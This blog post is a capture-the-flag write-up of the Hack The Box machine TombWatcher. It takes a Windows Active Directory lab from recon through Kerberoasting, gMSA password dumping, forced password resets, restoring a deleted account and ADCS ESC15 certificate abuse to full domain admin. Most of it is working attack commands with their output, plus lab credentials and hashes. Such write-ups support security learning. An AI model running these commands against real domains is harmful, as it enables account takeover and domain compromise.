Post

TombWatcher

Posted
By Muhammad Taha Khan
13 min read
TombWatcher

Box Credentials

1

henry / H3nry_987TGV!

Recon

Port Discovery

rustscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

rustscan -a 10.10.11.72 --ulimit 5000              
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.72:53
Open 10.10.11.72:80
Open 10.10.11.72:88
Open 10.10.11.72:135
Open 10.10.11.72:139
Open 10.10.11.72:389
Open 10.10.11.72:445
Open 10.10.11.72:464
Open 10.10.11.72:593
Open 10.10.11.72:636
Open 10.10.11.72:5985
Open 10.10.11.72:9389
Open 10.10.11.72:49666
Open 10.10.11.72:49693
Open 10.10.11.72:49694
Open 10.10.11.72:49696
Open 10.10.11.72:49714
Open 10.10.11.72:49728
Open 10.10.11.72:49762
Open 10.10.11.72:60440
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 15:31 PKT
Initiating Ping Scan at 15:31
Scanning 10.10.11.72 [4 ports]
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 15:31 (0:00:00 remaining)
Completed Ping Scan at 15:31, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:31
Completed Parallel DNS resolution of 1 host. at 15:31, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:31
Scanning 10.10.11.72 [20 ports]
Discovered open port 49714/tcp on 10.10.11.72
Discovered open port 135/tcp on 10.10.11.72
Discovered open port 445/tcp on 10.10.11.72
Discovered open port 9389/tcp on 10.10.11.72
Discovered open port 49693/tcp on 10.10.11.72
Discovered open port 80/tcp on 10.10.11.72
Discovered open port 49728/tcp on 10.10.11.72
Discovered open port 139/tcp on 10.10.11.72
Discovered open port 53/tcp on 10.10.11.72
Discovered open port 49694/tcp on 10.10.11.72
Discovered open port 88/tcp on 10.10.11.72
Discovered open port 5985/tcp on 10.10.11.72
Discovered open port 464/tcp on 10.10.11.72
Discovered open port 49762/tcp on 10.10.11.72
Discovered open port 389/tcp on 10.10.11.72
Discovered open port 593/tcp on 10.10.11.72
Discovered open port 60440/tcp on 10.10.11.72
Discovered open port 49666/tcp on 10.10.11.72
Discovered open port 636/tcp on 10.10.11.72
Discovered open port 49696/tcp on 10.10.11.72
Completed SYN Stealth Scan at 15:31, 1.81s elapsed (20 total ports)
Nmap scan report for 10.10.11.72
Host is up, received echo-reply ttl 127 (0.30s latency).
Scanned at 2025-07-22 15:31:17 PKT for 2s

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
80/tcp    open  http           syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
464/tcp   open  kpasswd5       syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
5985/tcp  open  wsman          syn-ack ttl 127
9389/tcp  open  adws           syn-ack ttl 127
49666/tcp open  unknown        syn-ack ttl 127
49693/tcp open  unknown        syn-ack ttl 127
49694/tcp open  unknown        syn-ack ttl 127
49696/tcp open  unknown        syn-ack ttl 127
49714/tcp open  unknown        syn-ack ttl 127
49728/tcp open  unknown        syn-ack ttl 127
49762/tcp open  unknown        syn-ack ttl 127
60440/tcp open  unknown        syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
           Raw packets sent: 24 (1.032KB) | Rcvd: 21 (908B)

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

sudo nmap -PN -sC -sV -p53,80,88,135,139,389,445,464,593,636,5985,9389,49666,49693,49694,49696,49714,49728,49762,60440 -oN tombWatcher 10.10.11.72
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 15:40 PKT
Nmap scan report for 10.10.11.72
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-22 14:17:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-22T14:19:14+00:00; +3h36m33s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49694/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
49728/tcp open  msrpc         Microsoft Windows RPC
49762/tcp open  msrpc         Microsoft Windows RPC
60440/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 3h36m32s, deviation: 0s, median: 3h36m32s
| smb2-time: 
|   date: 2025-07-22T14:18:21
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.96 seconds

It seems there is an HTTP website on PORT 80. On visiting the port we are greeted by an IIS page.

Let’s poke around SMB:

SMB

1
2
3
4
5
6
7
8
9
10
11

impacket-smbclient tombwatcher.htb/henry@DC01.tombwatcher.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL

The shares are windows default. Let’s start mapping through bloodhound.

Bloodhound

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

bloodhound-python --dns-tcp --dns-timeout 30 -ns 10.10.11.72 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c all          
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 27S

Our user henry, can WriteSPN of alfred.

TargetedKerberoast.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

┌──(kali㉿vm-kali)-[~/htb/tombwatcher/targetedKerberoast]
└─$ impacket-getTGT tombwatcher.htb/henry
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Saving ticket in henry.ccache
                                                                                                                                          
┌──(kali㉿vm-kali)-[~/htb/tombwatcher/targetedKerberoast]
└─$ export KRB5CCNAME=henry.ccache


python3 targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!' -k 
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$b484e631fb964f587e479b137dda77ef$424f523b8f4c7c13603b2d6fa6bd89176a8999e0a77213cc177db532e321d65b0b38fa751549e1cee278b76faff721717273ef52e0ecdc207d356a44cda0385e77badbe29544fb0aec50461bcd861a376cd8e34df6dd2bbb779108d50e998fca669c483bc0543f255ee58b19a59bc09fdfeeced106806c762f62a92d0fd2446a369da93fa436ad8cec3e65e60d48f3b8c5985a1f20a130005fde8dd180c9b1c27b0397fcb545cd8007f2c1f147c11b13657ab60556a3becb050239d882525c373839d67eda1de242f09f46fcdee4aa57a7f6c35365f49a36a0c455508afddaec03182323e45046a2d5484f50766ff79a70982bcbc9ba5cee5678d03b2f8a201452c5d14e69b477ae5136aa22d6559ac52b82e0721f8f14907ae07c6127e09a680ed6ef5fc32dd0583b44ddbe32ad0aa8fde578ac4af705f8d2f0ca0ba117f30391bee5095f08f20ebce763b770adc1f6b5e965e3f3a5cc4d700bb30fe3f2f2b98f322544c51fe8f6746e9c39a1b3aef727db7e85d68c4b94d7dc5ce792f42eb51b0b1c4dc1c9e24fb65fddb23d94f209db9c16da5c8efebc65259d58ba4a0e477d8d9fa9802772018e08e53da90465fdfc432fef4ad3b2a6246b91b6206fa59cf2b696f65e622d3059e692b62ebb91bf6871ca5632bcf42ee05a6b0f2062bb5cac4f3131f5d84165dd0707bf5add0e67af32b68aa318a7171b2c899b120ec1594f18b66ea5ac47675b959efe6ea0166396a16eb81d2e8ebe18c454307322168abbb888276ca38ac8ac32936eaa5776da450c7e2760fb2eddeb5cedb81804a054eff3dd33f51b589de5fe74c0e4eee50d262fd3daaa16a94b4b37da7accc0fcbdc06bd20cd32947db28be4a573f23f0146548166ef2d94ef119228543d4cb3999e6f06544a3445710d47257a71ffdecb42307e66dbffb54da4d68099c87410be049bf26098c8693224ae26252e4561e54e47743971fea8144ae6a3a4f74498e8bfc4bb28d497fe3090c012fe708242f0155b3a7f9cdc74a0ce98b06e4503a0e7137a4eb08f228287eb156b3fa9a8a5590eb3b4420a4023778eafa06fcfd29a3619a90eaeb530579ed4c8cefbe7c28496cba4f18e67872e186d8657466a6e30098a95073cd16580e321ab951e0f4a2bcaaa556fe954941a17663336b2111cde40e2f1556d5deb81ce47368d6812637601097c97b3a3904ff4d83f2d40c75ca39a01d9860fdff58b2acaee2f510b78916122ff5f91968c91d9146eccb42f662375984c8320c7710702b07d328de517d87a777fceb4dd499ee999d98987674e22d38617c2698cbf87297c741b152a81b72b1f3e06345401a039d32922e97fa0521cf4c51cbe2a3cb4952459428144f46806c6cca2ce601e0c662617f0cfb5a62f501016e4b9603686ec85af5e9e0bdcc9c71e433560d2d22d6207fd7c0497762ac18f21d2c563b7926bdd5e32997d43d2f1ed1b50bf703
[VERBOSE] SPN removed successfully for (Alfred)

john to crack

1
2
3
4
5
6
7
8
9

john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt alfred.hash   
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball       (?)     
1g 0:00:00:00 DONE (2025-07-22 20:02) 33.33g/s 25600p/s 25600c/s 25600C/s 123456..james1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We have access to user alfred:basketball.

alfred can add himself to group Infrastructure.

Add alfred to infrastructure

1
2

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p basketball add groupMember 'INFRASTRUCTURE' alfred
[+] alfred added to INFRASTRUCTURE

Now we can ReadGMSAPassword of Ansible_dev

gMSADumper for ansible_dev

1
2
3
4
5
6

python3 gMSADumper.py -u alfred -p 'basketball' -d 'tombwatcher.htb'
Users or groups who can read password for ansible_dev$:
 > Infrastructure
ansible_dev$:::7bc5a56af89da4d3c03bc048055350f2
ansible_dev$:aes256-cts-hmac-sha1-96:29a7e3cc3aaad2b30beca182a9707f1a1e71d2eb49a557d50f9fd91360ec2f64
ansible_dev$:aes128-cts-hmac-sha1-96:de6c86d8b6a71c4538f82dc570f7f9a6

ansible_dev can ForceChangePassword of user sam. GetTGT as ansible_dev, export it and then:

Foothold

ForceChangePassword of user sam

1
2

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -k set password sam 'Password@123!'                            
[+] Password changed successfully!

sam can WriteOwner of user john.

WriteOwner of john

1
2
3
4
5
6
7
8

impacket-owneredit -action write -new-owner sam -target john tombwatcher/sam:'Password@123!' -dc-ip 10.10.11.72
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!

GenericAll on John

1
2

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Password@123!' add genericAll john sam
[+] sam has now GenericAll on john

ChangePassword of John

1
2

bloodyAD --host DC01.tombwatcher.htb -d tombwatcher.htb -u sam -p 'Password@123!' set password john 'Password@123!'
[+] Password changed successfully!

evil-winrm as john

1

evil-winrm -i dc01.tombwatcher.htb -u john -p 'Password@123!'

Privilege Escalation

After running WinPEAS we didn’t find much on the system. However, the machine name tombWatcher highly suggests perhaps there is a deleted user that should take us to the next step.

Finding Deleted Users

One such user is cert_admin, even in our bloodhound data we don’t see the account.

1
2
3
4
5
6
7
8
9
10
11
12
13

Get-ADObject -Filter { ObjectClass -eq "user" } `
             -IncludeDeletedObjects `
             -Properties IsDeleted,LastKnownParent,whenChanged,SamAccountName |
Select-Object SamAccountName,Name,IsDeleted,LastKnownParent,whenChanged,DistinguishedName |
Sort-Object whenChanged

SamAccountName    : cert_admin
Name              : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
IsDeleted         : True
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
whenChanged       : 7/22/2025 3:22:00 AM
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb

Restore cert_admin

1

Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

Set Password

1

Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Password@123!" -AsPlainText -Force)

Enable Account

1

Enable-ADAccount -Identity cert_admin

Since this is a cert_admin, it will be only smart to start with certipy to find some vulnerable template.

Certipy as cert_admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

certipy find -u 'cert_admin@tombwatcher.htb' -p 'Password@123!' -dc-ip DC01.tombwatcher.htb -ns 10.10.11.72 -vulnerable

Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

What the dump shows:

  • Enrollee Supplies Subject = True
  • Schema Version = 1
  • cert_admin (or any principal with enrollment rights) can request this template
  • User Specified SAN (Subject Alternative Name) is disabled at the CA level, but schema-v1 templates ignore that CA-level setting, so the enrollee can still inject an arbitrary SAN.

That means any account that can enroll (right now that’s cert_admin, Domain Admins, Enterprise Admins) can obtain a certificate for any user or computer identity, including privileged ones like Administrator or DC$.

Requesting Administrator Certificate

It is possible that the cleanup script might have reverted and deleted the user cert_admin again if you get any error at this step.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

certipy-ad req -u 'cert_admin@tombwatcher.htb' \
    -p 'Password@123!' -dc-ip '10.10.11.72' \
    -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' \
    -template 'WebServer' -upn 'administrator@tombwatcher.htb' \
    -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
    -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

ldap_shell to change administrator password

Get an ldap_shell using the certificate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.10.11.72 -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*]     SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Connecting to 'ldaps://10.10.11.72:636'
[*] Authenticated to '10.10.11.72' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands

change_password administrator Password@123!
Got User DN: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb
Attempting to set new password of: Password@123!
Password changed successfully!

ROOT!

evil-winrm as administrator now:

1
2
3
4
5
6
7
8
9
10
11

evil-winrm -i dc01.tombwatcher.htb -u administrator -p 'Password@123!'
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
Boxes
HTB Box Windows Medium
This post is licensed under CC BY 4.0 by the author.